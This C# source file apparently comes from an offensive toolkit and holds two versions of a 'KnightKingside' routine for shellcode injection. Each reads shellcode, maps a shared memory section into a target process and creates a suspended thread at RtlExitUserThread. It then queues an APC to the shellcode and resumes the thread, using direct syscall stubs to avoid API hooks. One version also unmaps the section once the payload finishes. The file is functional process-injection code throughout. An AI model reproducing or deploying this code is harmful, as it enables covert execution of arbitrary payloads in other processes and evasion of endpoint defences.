public static void KnightKingside(String Path, QueensGambit.PROC_VALIDATION Pv, bool Clean)
{
// Read in sc bytes
QueensGambit.SC_DATA scd = QueensGambit.ReadShellcode(Path);
if (scd.iSize == 0)
{
Console.WriteLine("[!] Unable to read shellcode bytes..");
return;
}
// Create local section & map view of that section as RW in our process
Console.WriteLine("\n[>] Creating local section..");
QueensGambit.SECT_DATA LocalSect = QueensGambit.MapLocalSection(scd.iSize);
if (!LocalSect.isvalid)
{
return;
}
// Map section into remote process
Console.WriteLine("[>] Map RX section to remote proc..");
QueensGambit.SECT_DATA RemoteSect = QueensGambit.MapRemoteSection(Pv.hProc, LocalSect.hSection, scd.iSize);
if (!RemoteSect.isvalid)
{
return;
}
// Write sc to local section
Console.WriteLine("[>] Write shellcode to local section..");
Console.WriteLine(" |-> Size: " + scd.iSize);
Marshal.Copy(scd.bScData, 0, LocalSect.pBase, (int)scd.iSize);
// Find remote thread start address offset from base -> RtlExitUserThread
Console.WriteLine("[>] Seek export offset..");
Console.WriteLine(" |-> pRemoteNtDllBase: 0x" + String.Format("{0:X}", (Pv.pNtllBase).ToInt64()));
IntPtr pFucOffset = QueensGambit.GetLocalExportOffset("ntdll.dll", "RtlExitUserThread");
if (pFucOffset == IntPtr.Zero)
{
return;
}
// Create suspended thread at RtlExitUserThread in remote proc
Console.WriteLine("[>] NtCreateThreadEx -> RtlExitUserThread <- Suspended..");
IntPtr hRemoteThread = IntPtr.Zero;
IntPtr pRemoteStartAddress = (IntPtr)((Int64)Pv.pNtllBase + (Int64)pFucOffset);
IntPtr pSysCall = SharpSploit.Execution.DynamicInvoke.Generic.GetSyscallStub("NtCreateThreadEx");
QueensGambit.NtCreateThreadEx fSyscallNtCreateThreadEx = (QueensGambit.NtCreateThreadEx)Marshal.GetDelegateForFunctionPointer(pSysCall, typeof(QueensGambit.NtCreateThreadEx));
UInt32 CallResult = fSyscallNtCreateThreadEx(ref hRemoteThread, 0x1FFFFF, IntPtr.Zero, Pv.hProc, pRemoteStartAddress, IntPtr.Zero, true, 0, 0xffff, 0xffff, IntPtr.Zero);
if (hRemoteThread == IntPtr.Zero)
{
Console.WriteLine("[!] Failed to create remote thread..");
return;
}
else
{
Console.WriteLine(" |-> Success");
}
// Queue APC
Console.WriteLine("[>] Set APC trigger & resume thread..");
pSysCall = SharpSploit.Execution.DynamicInvoke.Generic.GetSyscallStub("NtQueueApcThread");
QueensGambit.NtQueueApcThread fSyscallNtQueueApcThread = (QueensGambit.NtQueueApcThread)Marshal.GetDelegateForFunctionPointer(pSysCall, typeof(QueensGambit.NtQueueApcThread));
CallResult = fSyscallNtQueueApcThread(hRemoteThread, RemoteSect.pBase, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero);
if (CallResult == 0)
{
Console.WriteLine(" |-> NtQueueApcThread");
}
else
{
Console.WriteLine("[!] Unable register APC..");
return;
}
// Resume thread
UInt32 SuspendCount = 0;
pSysCall = SharpSploit.Execution.DynamicInvoke.Generic.GetSyscallStub("NtAlertResumeThread");
QueensGambit.NtAlertResumeThread fSyscallNtAlertResumeThread = (QueensGambit.NtAlertResumeThread)Marshal.GetDelegateForFunctionPointer(pSysCall, typeof(QueensGambit.NtAlertResumeThread));
CallResult = fSyscallNtAlertResumeThread(hRemoteThread, ref SuspendCount);
if (CallResult == 0)
{
Console.WriteLine(" |-> NtAlertResumeThread");
}
else
{
Console.WriteLine("[!] Failed to resume thread..");
}
// Wait & clean up?
if (Clean)
{
Console.WriteLine("[>] Waiting for payload to finish..");
while (true)
{
QueensGambit.THREAD_BASIC_INFORMATION ts = QueensGambit.GetThreadState(hRemoteThread);
if (ts.ExitStatus != 259) // STILL_ACTIVE
{
Console.WriteLine(" |-> Thread exit status -> " + ts.ExitStatus);
pSysCall = SharpSploit.Execution.DynamicInvoke.Generic.GetSyscallStub("NtUnmapViewOfSection");
QueensGambit.NtUnmapViewOfSection fSyscallNtUnmapViewOfSection = (QueensGambit.NtUnmapViewOfSection)Marshal.GetDelegateForFunctionPointer(pSysCall, typeof(QueensGambit.NtUnmapViewOfSection));
UInt32 Unmap = fSyscallNtUnmapViewOfSection(Pv.hProc, RemoteSect.pBase);
if (Unmap == 0)
{
Console.WriteLine(" |-> NtUnmapViewOfSection");
}
else
{
Console.WriteLine("[!] Failed to unmap remote section..");
}
break;
}
System.Threading.Thread.Sleep(400); // Sleep precious, sleep
}
}
}
public static void KnightKingside(QueensGambit.PROC_VALIDATION Pv)
{
// Read in sc bytes
QueensGambit.SC_DATA scd = QueensGambit.ReadShellcode();
if (scd.iSize == 0)
{
Console.WriteLine("[!] Unable to read shellcode bytes..");
return;
}
// Create local section & map view of that section as RW in our process
Console.WriteLine("\n[>] Creating local section..");
QueensGambit.SECT_DATA LocalSect = QueensGambit.MapLocalSection(scd.iSize);
if (!LocalSect.isvalid)
{
return;
}
// Map section into remote process
Console.WriteLine("[>] Map RX section to remote proc..");
QueensGambit.SECT_DATA RemoteSect = QueensGambit.MapRemoteSection(Pv.hProc, LocalSect.hSection, scd.iSize);
if (!RemoteSect.isvalid)
{
return;
}
// Write sc to local section
Console.WriteLine("[>] Write shellcode to local section..");
Console.WriteLine(" |-> Size: " + scd.iSize);
Marshal.Copy(scd.bScData, 0, LocalSect.pBase, (int)scd.iSize);
// Find remote thread start address offset from base -> RtlExitUserThread
Console.WriteLine("[>] Seek export offset..");
Console.WriteLine(" |-> pRemoteNtDllBase: 0x" + String.Format("{0:X}", (Pv.pNtllBase).ToInt64()));
IntPtr pFucOffset = QueensGambit.GetLocalExportOffset("ntdll.dll", "RtlExitUserThread");
if (pFucOffset == IntPtr.Zero)
{
return;
}
// Create suspended thread at RtlExitUserThread in remote proc
Console.WriteLine("[>] NtCreateThreadEx -> RtlExitUserThread <- Suspended..");
IntPtr hRemoteThread = IntPtr.Zero;
IntPtr pRemoteStartAddress = (IntPtr)((Int64)Pv.pNtllBase + (Int64)pFucOffset);
IntPtr pSysCall = SharpSploit.Execution.DynamicInvoke.Generic.GetSyscallStub("NtCreateThreadEx");
QueensGambit.NtCreateThreadEx fSyscallNtCreateThreadEx = (QueensGambit.NtCreateThreadEx)Marshal.GetDelegateForFunctionPointer(pSysCall, typeof(QueensGambit.NtCreateThreadEx));
UInt32 CallResult = fSyscallNtCreateThreadEx(ref hRemoteThread, 0x1FFFFF, IntPtr.Zero, Pv.hProc, pRemoteStartAddress, IntPtr.Zero, true, 0, 0xffff, 0xffff, IntPtr.Zero);
if (hRemoteThread == IntPtr.Zero)
{
Console.WriteLine("[!] Failed to create remote thread..");
return;
}
else
{
Console.WriteLine(" |-> Success");
}
// Queue APC
Console.WriteLine("[>] Set APC trigger & resume thread..");
pSysCall = SharpSploit.Execution.DynamicInvoke.Generic.GetSyscallStub("NtQueueApcThread");
QueensGambit.NtQueueApcThread fSyscallNtQueueApcThread = (QueensGambit.NtQueueApcThread)Marshal.GetDelegateForFunctionPointer(pSysCall, typeof(QueensGambit.NtQueueApcThread));
CallResult = fSyscallNtQueueApcThread(hRemoteThread, RemoteSect.pBase, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero);
if (CallResult == 0)
{
Console.WriteLine(" |-> NtQueueApcThread");
}
else
{
Console.WriteLine("[!] Unable register APC..");
return;
}
// Resume thread
UInt32 SuspendCount = 0;
pSysCall = SharpSploit.Execution.DynamicInvoke.Generic.GetSyscallStub("NtAlertResumeThread");
QueensGambit.NtAlertResumeThread fSyscallNtAlertResumeThread = (QueensGambit.NtAlertResumeThread)Marshal.GetDelegateForFunctionPointer(pSysCall, typeof(QueensGambit.NtAlertResumeThread));
CallResult = fSyscallNtAlertResumeThread(hRemoteThread, ref SuspendCount);
if (CallResult == 0)
{
Console.WriteLine(" |-> NtAlertResumeThread");
}
else
{
Console.WriteLine("[!] Failed to resume thread..");
}
}